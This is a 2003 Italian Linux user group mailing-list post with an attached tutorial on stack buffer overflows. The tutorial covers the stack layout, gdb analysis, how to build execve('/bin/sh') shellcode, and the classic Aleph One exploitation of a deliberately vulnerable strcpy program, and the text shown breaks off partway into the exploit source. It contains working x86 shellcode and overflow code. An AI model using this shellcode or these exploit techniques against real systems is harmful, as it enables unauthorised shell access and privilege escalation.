[RoLUG] buffer overflow paper (finito?)

Roccatello Eduard rolug@lists.linux.it
Sun, 4 May 2003 19:47:15 +0000


--Boundary-00=_D5Wt+fEZvWduzK2
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
Content-Description: clearsigned data
Content-Disposition: inline

=2D----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Ciao a tutti
ecco il paper sul buffer overflow terminato (almeno la versione preliminare
=E8 finita :-). Manca solamente la conclusione.
Stavo pensando di inserire una sezione dedicata all'exploiting di rete ma
prima volevo sentire i vostri pareri...

ciao
PS: per la lettura =E8 consigliato un carattere a larghezza fissa
=2D --
This sign is protected by EUCD.

Eduard Roccatello
Pcmprover.it hi-tech portal webmaster @ http://www.pcimprover.it
RoLUG staff @ http://rovigo.linux.it
PGP key and more in the headers


=2D----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+tW5FjUY2i0dNbbARAksZAJ4skmj0BfwBF8rwgXrQzthH0jOhKwCaAhdG
GsQSfZ+3UulesuiQ04lPl2M=3D
=3DTDxy
=2D----END PGP SIGNATURE-----

--Boundary-00=_D5Wt+fEZvWduzK2
Content-Type: text/plain;
  charset="us-ascii";
  name="bufferoverflow"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="bufferoverflow"

RoLUG Security Guide
Buffer Overflows

INDEX
=2D Introduzione
=2D Definizione di Stack
=2D Gestione della memoria dei processi
=2D Analisi strutturale dello stack di un processo
=2D Violazione dello stack (Buffer Overflow)
=2D Shellcode e loro generazione
=2D Sfruttare la vulnerabilit=E0

INTRODUZIONE
Una delle vulnerabilit=E0 pi=F9 diffuse nei programmi =E8 sicuramente il bu=
ffer
overflow, che detiene il primato insieme a format string bug.
Usata da tempo dagli hacker per verificare la sicurezza dei sistemi
informatici, =E8 stata illustrata pubblicamente da AlephOne nel numero 49
della famosissima rivista elettronica underground Phrack (raggiungibile
all'indirizzo http://www.phrack.org).
Consiste essenzialmente nell'esecuzione arbitraria di codice malizioso e
sfrutta il mancato controllo delle dimensioni delle zone di memoria (buffer)
sulle quali verranno scritte le variabili del programma.

DEFINIZIONE DI STACK
Lo stack =E8 una struttura dati astratta (ADT) molto utilizzata nelle
archittetture informatiche odierne.
Per struttura dati astratta si intende un modello di struttura in grado di
immagazzinare i dati e di compiere operazioni sui dati inseriti.
Uno stack pu=F2 essere rappresentato come una pila di oggetti, vincolata dal
fatto che la rimozione e l'aggiunta degli elementi pu=F2 essere fatta solo =
in
cima. Si pu=F2 parlare quindi di una struttura LIFO (Last In First Out), do=
ve
l'ultimo elemento ad entrare nello stack =E8 anche il primo ad uscire.
I metodi principali definibili di uno stack sono 3: PUSH, POP e TOP (dove
per metodo si intende una funzione eseguibile dallo stack).
PUSH =E8 il metodo standard per l'aggiunta degli oggetti allo stack, POP se=
rve
a leggere ed a togliere l'elemento in cima allo stack mentre TOP esegue
solamente la lettura dell'oggetto pi=F9 in alto nella pila senza levarlo da=
lla
stessa. Le prestazioni di uno stack sono ottimali; ogni operazione
effettuabile ha prestazioni asintotiche O(1), cio=E8 il numero di elementi
contenuti non influenza minimamente le prestazioni ottenibili, che dipendono
invece dal tipo di implementazione effettuato dagli sviluppatori.
La creazione di una struttura dati come lo stack deriva dalla necessit=E0 di
avere un'architettura pi=F9 consona possibile ai linguaggi di programmazione
ad alto livello (molto pi=F9 simili al linguaggio parlato che al linguaggio
adottato dalla macchina). Non =E8 difficile trovare implementazioni di stack
nelle moderne apparecchiature. Lo stack si presta infatti agevolmente al=20
passaggio degli argomenti di una funzione e all'archiviazione di dati
sequenziali LIFO come la sospensione dei metodi in un programma ed =E8 la
struttura utilizzata dalle archittetture i386 per la gestione delle variabi=
li
in memoria durante l'esecuzione di un programma.

GESTIONE DELLA MEMORIA DEI PROCESSI NEI SISTEMI LINUX
Per rendersi conto di come funzioni l'exploit della vulnerabilit=E0
generata dai buffer overflow bisogna aver chiaro come i processi vengano
allocati nella memoria.
Ogni processo attivo possiede tre regioni di memoria con caratteristiche=20
differenti, generalmente individuate con i nomi "Text", "Data" e "Stack".
La regione "Text" =E8 fissata dal programma e contiene istruzioni e dati
raggiungibili in modalit=E0 di sola lettura. Un eventuale accesso in scritt=
ura
a questa zona produce un errore irreversibile che termina il programma.
La regione "Data" contiene dati inizializzati, dati non inizializzati e=20
indirizza anche le variabili statiche, imagazzinate in questa regione di
memoria.
La dimensione di questa regione di memoria pu=F2 essere modificata da una
chiamata di sistema particolare e nel caso venga esaurito lo spazio di
memoria allocata per il processo, questo viene reimpostato dallo scheduler
con una dimensione di memoria pi=F9 grande della precendente.
Questa zona di memoria viene comunemente chiamata come zona DATA-BSS di un
file eseguibile.
La terza regione di memoria allocata per ogni processo =E8 lo stack dove=20
vengono memorizzate le variabili non statiche del programma ed =E8 l'oggetto
della vulnerabilit=E0 trattata in questo capitolo.

		[---------------] Zona di memoria con
		[    T E X T    ] indirizzi bassi
		[---------------]
		[    D A T A    ]
		[---------------]
		[   S T A C K   ] Zona di memoria con
		[---------------] indirizzi alti

ANALISI STRUTTURALE DELLO STACK DI UN PROCESSO
Abbiamo visto che ogni processo genera tre regioni di memoria, una delle
quali =E8 lo stack. Ma cos'=E8 contenuto esattamente nello stack?
Si tratta di una zona di memoria creata dinamicamente all'avvio del processo
e viene modificata durante dell'esecuzione del programma.
Per capire meglio com'=E8 strutturato lo stack di un processo, =E8 bene int=
rodurne
uno che, seppur molto semplice, permette una schematizzazione chiara della
zona di memoria "Stack":

// Start: code.c
void funzione(int i)
{	char buffer[64];
}
int main(void)
{	funzione(15);
}
// End: code.c

Salviamo questa piccola porzione di codice in un file (che io chiamer=F2 co=
de.c)
e compiliamo con "gcc -o code code.c".
Eseguendo il programma in questione ci accorgeremo che il programma non
invia nulla allo standard output.
Proviamo ad analizzarlo in profondit=E0 con GDB per capire cosa fa questa=20
piccola porzione di codice:

eddy@alphabase:~/rsg$ gdb code
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain condition=
s.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483c8 <main>:       push   %ebp
0x80483c9 <main+1>:     mov    %esp,%ebp
0x80483cb <main+3>:     sub    $0x8,%esp
0x80483ce <main+6>:     add    $0xfffffff4,%esp
0x80483d1 <main+9>:     push   $0xf
0x80483d3 <main+11>:    call   0x80483c0 <funzione>
0x80483d8 <main+16>:    add    $0x10,%esp
0x80483db <main+19>:    leave
0x80483dc <main+20>:    ret
0x80483dd <main+21>:    nop
0x80483de <main+22>:    nop
0x80483df <main+23>:    nop
End of assembler dump.

Il programma in questione, come prima cosa, salva il frame pointer nello st=
ack
e imposta come nuovo frame pointer, lo stack pointer.
Nel frame pointer =E8 contenuto l'indirizzo di memoria della funzione appena
eseguita dal microprocessore.
Vengono successivamente sottratti 8 bytes dallo stack pointer per creare lo
stack frame privato della funzione. All'indirizzo 0x80481d1 (<main+9>)
inizia la chiamata alla funzione.
Le funzioni vengono chiamate dai programmi tramite l'inserimento (push) deg=
li
argomenti nello stack, in ordine inverso (dall'ultimo al primo), e tramite
la funzione "call indirizzo".
In questo caso viene fatto il push di 0xf (15 in decimale) nello stack e poi
viene chiamata la funzione all'indirizzo 0x80483c0.
Al ritorno della funzione viene aggiunto il valore esadecimale 10 allo stack
pointer facendo "avanzare" il puntatore e viene eseguita l'istruzione "leav=
e".

Entriamo nel profondo della funzione "funzione" e vediamo come vengono
allocate le variabili di un programma, probabilmente la parte pi=F9 interes=
sante
di un programma :-)

(gdb) disassemble funzione
Dump of assembler code for function funzione:
0x80481c0 <funzione>:   push   %ebp
0x80481c1 <funzione+1>: mov    %esp,%ebp
0x80481c3 <funzione+3>: sub    $0x48,%esp
0x80481c6 <funzione+6>: leave
0x80481c7 <funzione+7>: ret
End of assembler dump.

Dopo aver eseguito l'istruzione "call", la routine "main" viene sospesa e il
controllo passa alla routine "funzione".
Viene salvato il frame pointer nullo stack e viene copiato il valore dello
stesso nello stack pointer.
Immediatamente dopo avviene l'allocazione delle variabili, in questo caso un
array (successione) di 64 char.
I computer basati su architettura Intel considerano gli array di char come
serie di caratteri terminata da un carattere nullo (0x0 in esadecimale).
Per allocare una variabile il sistema sposta lo stack pointer di tanti bytes
quanti occorrono al programma cio=E8 della dimensione delle variabili rifer=
ita
alle dword occupate. La parola binaria pi=F9 piccola considerata nei sistemi
Intel =E8 di 4 bytes, per cui la dimensione delle variabili sar=E0 riferita=
 a 4
bytes. Ad esempio se ho un array di 5 char il sistema allocher=E0 8 bytes,
corrispondenti a 2 dword.
Molto probabilmente avrete gi=E0 fatto i conti e come credo vi sembrer=E0 s=
trano
che al posto di 0x40 troviate 0x48. Teoricamente il compilatore dovrebbe
allocare esattamente la dimensione di tutte le variabili dichiarate nella
funzione ma, generalmente, viene allocata pi=F9 memoria del necessario per
contenere eventuali overflow (fuoriuscite).

Ora che abbiamo capito come funzionano le chiamate alle funzioni possiamo
schematizzare lo stack del nostro programma in questo modo:

   [--buffer--][--stack pointer--][--instruction pointer--][--i--]
   Cima dello stack				Fondo dello stack

Riassumendo, sul fondo dello stack troviamo gli argomenti passati alla
funzione, poi troviamo l'istruction pointer (detto anche RET) e lo stack
pointer. Sulla cima dello stack possiamo trovare la locazione fisica delle
variabili elaborate dal nostro programma (in questo caso solo buffer).

VIOLAZIONE DELLO STACK (BUFFER OVERFLOW)
Ipotizziamo che una funzione non controlli le dimensioni dell'input e=20
continui a scrivere sullo stack oltre i limiti delle variabili: cosa accade?
Il sistema risponde con una violazione della segmentazione della memoria
e termina il processo. Un buffer overflow =E8 quindi il risultato di inseri=
re
in un buffer pi=F9 dati di quelli che pu=F2 gestire e offre la possibilit=
=E0 di
gestire arbitrariamente gli indirizzi di ritorno di una funzione.

Introduciamo un nuovo frammento di codice per approfondire la questione:

// Start code2.c
#include <string.h>

void funzione(char *stringa)
{	char buffer[16];
	strcpy(buffer, stringa);
}

int main(void)
{	char stringa_grande[256];
	int i =3D 0;

	for (i; i < 255; i++)
		stringa_grande[i] =3D 'A';
	funzione(stringa_grande);
}
// End code2.c

Se si compila questo codice e lo si esegue apparir=E0 un inquietante messag=
gio
"Segmentation Fault", errore di segmentazione. Cos'=E8 successo?
Inizializzato un array di 256 char, il programma riempie con la lettera
A (0x41 in esadecimale) ogni posizione dello stesso e chiama la routine
"funzione" con il parametro stringa_grande (corrispondente all'array di cha=
r).
"Funzione" inizializza un buffer di 16 char ed effettua la chiamata di sist=
ema
strcpy con i parametri buffer e stringa (che corrisponde all'argomento pass=
ato
alla funzione). Non effettuando nessun controllo la chiamata strcpy
sovrascrive la memoria del processo fino a che non trova una carattere nullo
e, ovviamente, viola la segmentazione della memoria.

Avviamo gdb e analizziamo l'esecuzione del programma:

eddy@alphabase:~/rsg$ gdb code2
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain condition=
s.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) run
Starting program: /home/eddy/rsg/code2

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Com'era possibile immaginare lo stack =E8 stato sovrascritto e l'indirizzo =
di
ritorno (instruction pointer o RET) corrisponde a 0x41414141 ovvero a "AAAA=
".
Schematizzando lo stack troveremo:

	[AAAAAAAAAAAAAAAAAAAAAA][AAAA][AAAA][AAAA]
	 Buffer			 EBP   RET   *stringa

Tutta la memoria del processo =E8 stata sovrascritta con il contenuto dell'=
array
stringa_grande.
Continuiamo il debugging dell'eseguibile code2 analizzando i registri dopo
l'invio del segnale SIGSEGV (11) da parte del sistema:

(gdb) info registers
eax            0xbffff5ec       -1073744404
ecx            0xffffffbf       -65
edx            0xbffff736       -1073744074
ebx            0xbffff79c       -1073743972
esp            0xbffff604       0xbffff604
ebp            0x41414141       0x41414141
esi            0xbffff794       -1073743980
edi            0x1      1
eip            0x41414141       0x41414141
=2E..

I registri che interessano a noi sono EBP e EIP, frame pointer e instruction
pointer, cio=E8 i registri che nello schema dello stack (in alto) sono
esattamente dopo la zona di memoria della variabile buffer.
Entrambi i registri sono stati sovrascritti con il contenuto di stringa_gra=
nde
ed =E8 possibile notare che il passo tra l'errore di programmazione e la
vulnerabilit=E0 =E8 molto breve: tutto sta nel modificare EIP a nostro piac=
imento!

SHELLCODE E LORO GENERAZIONE
Come abbiamo appena visto =E8 possibile sfruttare la vulnerabilit=E0 dovuta=
 ai
buffer overflow tramite la modifica del punto di ritorno di una funzione ma
dove dobbiamo far puntare questo registro per ottenere l'elevazione dei
privilegi? La cosa migliore da fare =E8 farlo puntare ad una zona di memoria
sulla quale abbiamo i permessi di scrittura e dove c'=E8 abbastanza spazio =
per
scrivere il codice da eseguire, chiamato comunemente shellcode.
Come dice la parola stessa, per shellcode si intende un frammento di codice
capace di eseguire una shell. Pi=F9 precisamente uno shellcode =E8 la conve=
rsione
in linguaggio macchina di un programma sorgente (scritto in Assembly o C).
Generalmente il codice sorgente di uno shellcode si pu=F2 riassumere con:

// Start shcode.c
#include <stdio.h>

void main(void)
{	char *file[2];
	file[0] =3D "/bin/sh";
	file[1] =3D NULL;
	execve(file[0], file, NULL);
	exit(0);
}
// End shcode.c

Compiliamo con "gcc -o shcode -static shcode.c" e testiamo il nostro codice:
eddy@alphabase:~/rsg$ ./shcode
sh-2.05a$ exit
exit
eddy@alphabase:~/rsg$

=46unziona! Non dimentichiamo il flag -static durante la compilazione
altrimenti non potremo disassemblare le chiamate di sistema, o meglio
queste conterranno solo riferimenti al sistema e non il codice della chiama=
ta
stessa.
Questa volte cambiamo metodo di analisi e procediamo con il dump dell'ogget=
to
creato da gcc tramite il comando objdump.

eddy@alphabase:~/rsg$ objdump -d shcode > shellcodedump

Meglio fare una redirezione dell'output verso un file perch=E8 objdump ha
emette tantissimo output (dovuto alla disassemblazione del programma).
Cerchiamo la parte che ci interessa, ovvero la main() e la execve():

080481c0 <main>:
 80481c0:       55                      push   %ebp
 80481c1:       89 e5                   mov    %esp,%ebp
 80481c3:       83 ec 18                sub    $0x18,%esp
 80481c6:       c7 45 f8 08 c9 08 08    movl   $0x808c908,0xfffffff8(%ebp)
 80481cd:       c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)
 80481d4:       83 c4 fc                add    $0xfffffffc,%esp
 80481d7:       6a 00                   push   $0x0
 80481d9:       8d 45 f8                lea    0xfffffff8(%ebp),%eax
 80481dc:       50                      push   %eax
 80481dd:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
 80481e0:       50                      push   %eax
 80481e1:       e8 2a 3e 00 00          call   804c010 <__execve>
 80481e6:       83 c4 10                add    $0x10,%esp
 80481e9:       83 c4 f4                add    $0xfffffff4,%esp
 80481ec:       6a 00                   push   $0x0
 80481ee:       e8 bd 01 00 00          call   80483b0 <exit>
 80481f3:       83 c4 10                add    $0x10,%esp
 80481f6:       c9                      leave

0804c010 <__execve>:
 804c010:       55                      push   %ebp
 804c011:       89 e5                   mov    %esp,%ebp
 804c013:       83 ec 10                sub    $0x10,%esp
 804c016:       57                      push   %edi
 804c017:       53                      push   %ebx
 804c018:       8b 7d 08                mov    0x8(%ebp),%edi
 804c01b:       b8 00 00 00 00          mov    $0x0,%eax
 804c020:       85 c0                   test   %eax,%eax
 804c022:       74 05                   je     804c029 <__execve+0x19>
 804c024:       e8 d7 3f fb f7          call   0 <_init-0x80480b4>
 804c029:       8b 4d 0c                mov    0xc(%ebp),%ecx
 804c02c:       8b 55 10                mov    0x10(%ebp),%edx
 804c02f:       53                      push   %ebx
 804c030:       89 fb                   mov    %edi,%ebx
 804c032:       b8 0b 00 00 00          mov    $0xb,%eax
 804c037:       cd 80                   int    $0x80
 804c039:       5b                      pop    %ebx
 804c03a:       89 c3                   mov    %eax,%ebx
 804c03c:       81 fb 00 f0 ff ff       cmp    $0xfffff000,%ebx
 804c042:       76 0e                   jbe    804c052 <__execve+0x42>
 804c044:       e8 57 c3 ff ff          call   80483a0 <__errno_location>
 804c049:       f7 db                   neg    %ebx
 804c04b:       89 18                   mov    %ebx,(%eax)
 804c04d:       bb ff ff ff ff          mov    $0xffffffff,%ebx
 804c052:       89 d8                   mov    %ebx,%eax
 804c054:       5b                      pop    %ebx
 804c055:       5f                      pop    %edi
 804c056:       89 ec                   mov    %ebp,%esp
 804c058:       5d                      pop    %ebp
 804c059:       c3                      ret

Analizziamo un po' il comportamento delle due chiamate:
=20
80481c0:       55                      push   %ebp
80481c1:       89 e5                   mov    %esp,%ebp
80481c3:       83 ec 18                sub    $0x18,%esp
=20
Inizializzazione della funzione main(), salviamo il frame pointer, facciamo
dello stack pointer corrente il nuovo frame pointer e allochiamo un po' di
spazio per le variabili locali, che in questo caso sono: char *file[2];
=20
80481c6:       c7 45 f8 08 c9 08 08    movl   $0x808c908,0xfffffff8(%ebp)
80481cd:       c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)
=20
Sono rispettivamente le memorizzazioni dei valori nelle variabili: "/bin/sh"
e NULL.
=20
Ora comincia la chiamata vera e propria alla execve() con il push degli
argomenti in ordine inverso:
=20
80481d7:       6a 00                   push   $0x0
=20
Inserisce NULL nello stack.
=20
80481d9:       8d 45 f8                lea    0xfffffff8(%ebp),%eax
80481dc:       50                      push   %eax
=20
Carichiamo l'indirizzo di file[] nel registro accumulatore e ne facciamo il
push nello stack.

80481dd:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
80481e0:       50                      push   %eax
80481e1:       e8 2a 3e 00 00          call   804c010 <__execve>
=20
Carichiamo l'indirizzo di "/bin/sh" nell'accumulatore, facciamo il push nel=
lo
stack e finalmente chiamiamo execve().
=20
804c010:       55                      push   %ebp
804c011:       89 e5                   mov    %esp,%ebp
804c013:       83 ec 10                sub    $0x10,%esp

Cominciamo ad analizzare execve() dalle parti salienti ovvero dove esegue
esattamente il codice per l'avvio della shell.
=20
804c018:       8b 7d 08                mov    0x8(%ebp),%edi
=20
Muove l'indirizzo di "/bin/sh" in %edi.
=20
804c029:       8b 4d 0c                mov    0xc(%ebp),%ecx
=20
Copia l'indirizzo di file[] in %ecx.
=20
804c02c:       8b 55 10                mov    0x10(%ebp),%edx
=20
Copia l'indirizzo del NULL pointer in %edx.
=20
804c02f:       53                      push   %ebx
804c030:       89 fb                   mov    %edi,%ebx
=20
Mette l'indirizzo di "/bin/sh" (salvato in %edi) in %ebx.
=20
804c032:       b8 0b 00 00 00          mov    $0xb,%eax
=20
Copia 0xb (11 in decimale) nell'accumulatore. 11 =E8 il riferimento di exec=
ve
nella tabella delle chiamate di sistema.
=20
804c037:       cd 80                   int    $0x80
=20
Entra in kernel mode.
Ora abbiamo avviato la shell ma cosa succederebbe se la chiamata di sistema
execve() fallisse? Molto probabilmente verrebbe generato un dump del core
dell'eseguibile poich=E8 il programma avanzerebbe sullo stack ed incontrebbe
dati random. Noi non vogliamo che esso venga generato quindi provvediamo
aggiungendo una chiamata exit() al nostro programma.

eddy@alphabase:~/rsg$ cat e.c
#include <stdlib.h>

int main(void)
{
        exit(0);
}

Compiliamo con "gcc -o e -static e.c" ed analizziamo il dump della chiamata
exit().

0804cbb8 <_exit>:
 804cbb8:       8b 5c 24 04             mov    0x4(%esp,1),%ebx
 804cbbc:       b8 fc 00 00 00          mov    $0xfc,%eax
 804cbc1:       cd 80                   int    $0x80
 804cbc3:       b8 01 00 00 00          mov    $0x1,%eax
 804cbc8:       cd 80                   int    $0x80
 804cbca:       f4                      hlt

La chiamata exit() si preoccupa di mettere il codice di ritorno in %ebx, di
settare il numero di syscall in %eax (in questo caso =E8 1) e di entrare in
kernel mode. Il codice di ritorno che utilizzeremo noi sar=E0 0, ovvero que=
llo
utilizzato dalla maggior parte delle applicazioni per dire che tutto =E8 an=
dato
a buon fine.

Riassumendo un po' di cose dobbiamo fare i seguenti passi per generare uno
shell code:

=2D Avere una stringa contenente "/bin/sh" da qualche parte in memoria term=
inata
  da un carattere \0 (NULL).
=2D Avere l'indirizzo della stringa in memoria seguito da una word nulla.
=2D Copiare 0xb (11 decimale) nel registro accumulatore (EAX).
=2D Copiare l'indirizzo dell'indirizzo della stringa in EBX.
=2D Copiare l'indirizzo della stringa in ECX.
=2D Copiare l'indirizzo della word nulla in EDX.
=2D Passare al kernel mode eseguendo int 0x80.
=2D Copiare 0x1 in EAX.
=2D Copiare 0x0 in EBX.
=2D Eseguire int 0x80.

Analizzando ancora pi=F9 a fondo la questione troviamo un problema: noi non
sappiamo dove siamo nello spazio di memoria del programma e conseguentemente
non sappiamo dove verr=E0 inserita la stringa "/bin/sh".
L'unico metodo possibile =E8 quello di usare la combinazione delle due istr=
uzioni
JMP e CALL per aggirare l'ostacolo.
=46ortunatemente queste due istruzioni possono eseguire salti relativi a pa=
rtire
dall'instruction pointer corrente, senza sapere esattamente l'indirizzo di
memoria da puntare.
Se mettiamo una CALL prima della stringa e un JMP verso la stessa chiamata,
l'indirizzo della stringa verr=E0 messo nello stack come indirizzo di ritor=
no
una volta chiamata l'istruzione CALL. Tutto quello di cui abbiamo bisogno =
=E8 di
copiare l'indirizzo di ritorno in un registro.
Altro problema che potrebbe insorgere nella scrittura di uno shellcode =E8 =
quello
dovuto al fatto che non possono essere contenuti terminatori (NULL char) ne=
lla
stringa che dobbiamo copiare in memoria.
=46ortunatamente esistono workaround per questo problema ed il pi=F9 sempli=
ce =E8
quello di utilizzare istruzioni equivalenti a quelle che possono dare probl=
emi.


int main(void) {
__asm__("
	jmp trick				# salta alla label trick
                                                        =20
shcode:                                                                   =
=20
	popl %esi				# salva l'indirizzo della stringa in esi
	xorl %eax,%eax			# azzera eax
	movb %al, 0x7(%esi)		# mette uno 0 alla fine della stringa
	movl %esi, 0x8(%esi)	# salva l'indirizzo della stringa alla posizione
							# indirizzo stringa + 8. Si ottiene in memoria:
							# "/bin/sh" "0" "indirizzo prima /"
	movl %eax, 0xc(%esi)	# crea il puntatore null alla posizione esi + 12     =
                             =20
	movl %esi, %ebx			# mette l'indirizzo della stringa in ebx
	leal 0x8(%esi), %ecx	# mette in ecx l'indirizzo dell'indirizzo della=20
							# stringa, ovvero dell'array file[]
	leal 0xc(%esi), %edx	# mette in edx l'indirizzo del puntatore nullo
	movb $0x0b, %al			# mette nella parte bassa di eax (al) il codice
							# corrispondente alla syscall execve
	int $0x80				# entra in kernel mode
	xorl %eax,%eax			# azzera eax
	incl %eax				# incrementa eax
	int $0x80				# entra in kernel mode                              =20
                                                                     =20
trick:                                                                 =20
	call shcode				# esegue la call a shcode (l'indirizzo di ritorno =E8
							# l'indirizzo della stringa da puntare
");
}

Compiliamo il tutto e facciamo il dump delle parte interessanti:

eddy@alphabase:~/rsg$ gcc -o shc shellcode.c
eddy@alphabase:~/rsg$ objdump -d shc

080482f4 <main>:
 80482f4:       55                      push   %ebp
 80482f5:       89 e5                   mov    %esp,%ebp
 80482f7:       83 ec 08                sub    $0x8,%esp
 80482fa:       83 e4 f0                and    $0xfffffff0,%esp
 80482fd:       b8 00 00 00 00          mov    $0x0,%eax
 8048302:       29 c4                   sub    %eax,%esp
 8048304:       eb 1d                   jmp    8048323 <trick>

08048306 <shcode>:
 8048306:       5e                      pop    %esi
 8048307:       31 c0                   xor    %eax,%eax
 8048309:       88 46 07                mov    %al,0x7(%esi)
 804830c:       89 76 08                mov    %esi,0x8(%esi)
 804830f:       89 46 0c                mov    %eax,0xc(%esi)
 8048312:       89 f3                   mov    %esi,%ebx
 8048314:       8d 4e 08                lea    0x8(%esi),%ecx
 8048317:       8d 56 0c                lea    0xc(%esi),%edx
 804831a:       b0 0b                   mov    $0xb,%al
 804831c:       cd 80                   int    $0x80
 804831e:       31 c0                   xor    %eax,%eax
 8048320:       40                      inc    %eax
 8048321:       cd 80                   int    $0x80

08048323 <trick>:
 8048323:       e8 de ff ff ff          call   8048306 <shcode>
 8048328:       c9                      leave
 8048329:       c3                      ret
 804832a:       90                      nop
 804832b:       90                      nop
=20
La parte interessante comincia all'indirizzo 8048304, ovvero al salto verso
trick. Per ottenere uno shellcode valido =E8 necessario trascrivere l'assem=
bly
in opcode ovvero in codici leggibili ed eseguibili dal processore (in codice
macchina praticamente).
Per fare questo basta prendere la parte esadecimale fornita da objdump (che
ci salva da eterne consultazioni dei datasheet di Intel :-).
Ne esce una cosa di questo genere:

eb1d5e31c088460789760889460c...

Aggiungiamo la nostra stringa alla fine (/bin/sh) e proviamo se il nostro
shellcode =E8 corretto creando un piccolo programmino di test.

// Start here
char shellcode[] =3D
	"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"                =
                                                  =20
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
	"\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

int main(void){
   int *ret;

   ret =3D (int *)&ret + 2;
   (*ret) =3D (int)shellcode;
}
// End here

Compiliamo ed eseguiamo il tutto

eddy@alphabase:~/rsg$ gcc -o exp exp.c
eddy@alphabase:~/rsg$ ./exp
sh-2.05b$ exit
exit
eddy@alphabase:~/rsg$

=46unziona tutto alla perfezione e possiamo quindi dedicarci alla scrittura=
 di
un exploit per il nostro programma vulnerabile.

SFRUTTARE LA VULNERABILITA`
Dopo aver creato il nostro shellcode =E8 bene vedere come un programma bugg=
ato
apparentemente innocuo pu=F2 diventare molto pericoloso e permettere di ott=
enere
una shell utente a persone che non dovrebbero mai averla sul nostro sistema.

Il codice vulnerabile che consideremo in questo esempio =E8 molto semplice e
prevede un buffer di 256 caratteri senza controlli in scrittura.

// Start vuln.c
#include <string.h>

int main(int argv,char **argc) {
	char buf[256];

	strcpy(buf,argc[1]);
}
// End vuln.c

Esistono molte tecniche di exploiting per i buffer overflow e in questo caso
utilizzeremo la versione pi=F9 classica, ovvero la versione originaria idea=
ta
da Aleph1 e trattata sul numero 49 della rivista Phrack.
Concettualmente =E8 molto semplice: si tratta infatti di preparare un argom=
ento
ad hoc da passare al programma in modo che venga esattamente eseguito quello
di cui abbiamo bisogno.
Utilizzeremo come shellcode quello appena trovato (tanto per far vedere che
funziona :-).

Prima di cominciare vediamo come opereremo nell'overflowing con questo picc=
olo
esempio:

// Start ov1.c
char shellcode[] =3D
	"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"                =
                                                  =20
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
	"\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

char large_string[128];

int main(void) {
  char buffer[96];
  int i;
  long *long_ptr =3D (long *) large_string;

  for (i =3D 0; i < 32; i++)
    *(long_ptr + i) =3D (int) buffer;

  for (i =3D 0; i < strlen(shellcode); i++)
    large_string[i] =3D shellcode[i];

  strcpy(buffer,large_string);
}
// End ov1.c

Come prima cosa questo codice provvede a riempire large_string con l'indiri=
zzo
di buffer, dove verr=E0 messo il nostro codice. Si provvede successivamente=
 a
copiare lo shellcode nel buffer large_string e replicarlo nuovamente nel bu=
ffer
buffer[64] causando l'overflow.

eddy@alphabase:~/rsg/bof$ gcc -o c ov1.c
eddy@alphabase:~/rsg/bof$ ./c
sh-2.05b$ exit
exit
eddy@alphabase:~/rsg/bof$

Ottimo, funziona correttamente!

Per piazzare correttamente il buffer dobbiamo sapere dove viene messo il pu=
nto
di ritorno. Semplifichiamoci un po' la vita modificando ulteriormente il
programma da sfruttare (in fondo questo =E8 un paper didattico e possiamo
agevolarci, no? :-).

// Start vuln.c
#include <string.h>

int main(int argv,char **argc) {
        char buf[256];

        printf("buffer address: %p\n", buf);
        if (argv > 1)
                strcpy(buf,argc[1]);
}
// End vuln.c

Grazie a questa piccola modifica sul codice il nostro programma mostrer=E0
l'indirizzo di memoria dove =E8 posizionato l'inizio dell'array di caratteri
e questo ci permetter=E0 di manipolare pi=F9 facilmente i vari indirizzi.
Senza questa piccola modifica piazzare il codice sarebbe un operazione lunga
e noiosa, che richiederebbe moltissimi tentativi.

Compiliamo ed eseguiamo il nostro programma vulnerabile:

eddy@alphabase:~/rsg/bof$ gcc -o vuln vuln.c
eddy@alphabase:~/rsg/bof$ ./vuln ciaociao
buffer address: 0xbffff730
eddy@alphabase:~/rsg/bof$

Come potete vedere ora conosciamo la locazione del buffer di questa esecuzi=
one.
Questo indirizzo varia da macchina a macchina ed =E8 quindi improbabile scr=
ivere
una versione universale di codice per exploitare una vulnerabilit=E0 (con l=
a=20
stessa locazione di memoria).

Prima di scrivere un exploit =E8 bene riassumere le cose che il nostro codi=
ce
deve fare:

=2D Trovare l'indirizzo di ritorno.
=2D Scrivere l'indirizzo di ritorno nel buffer da copiare in memoria.
=2D Riempire la prima parte del buffer con NOP (per evitare calcoli non pre=
visti
  dalla scaletta :-).
=2D Scrivere il nostro shellcode dopo la sequenza di NOP
=2D Eseguire il programma vulnerabile con buffer come argomento.

Ecco il codice opportunamente commentato:

// Start exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 	280			// 70*4, ricordate di includere il padding
#define NOP 	0x90		// Opcode di No Operate
#define RET		0xbffffcd0	// Indirizzo di ritorno (trovato manualmente :-)

char shellcode[]=3D /* il nostro shellcode */
	"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"                =
                                                  =20
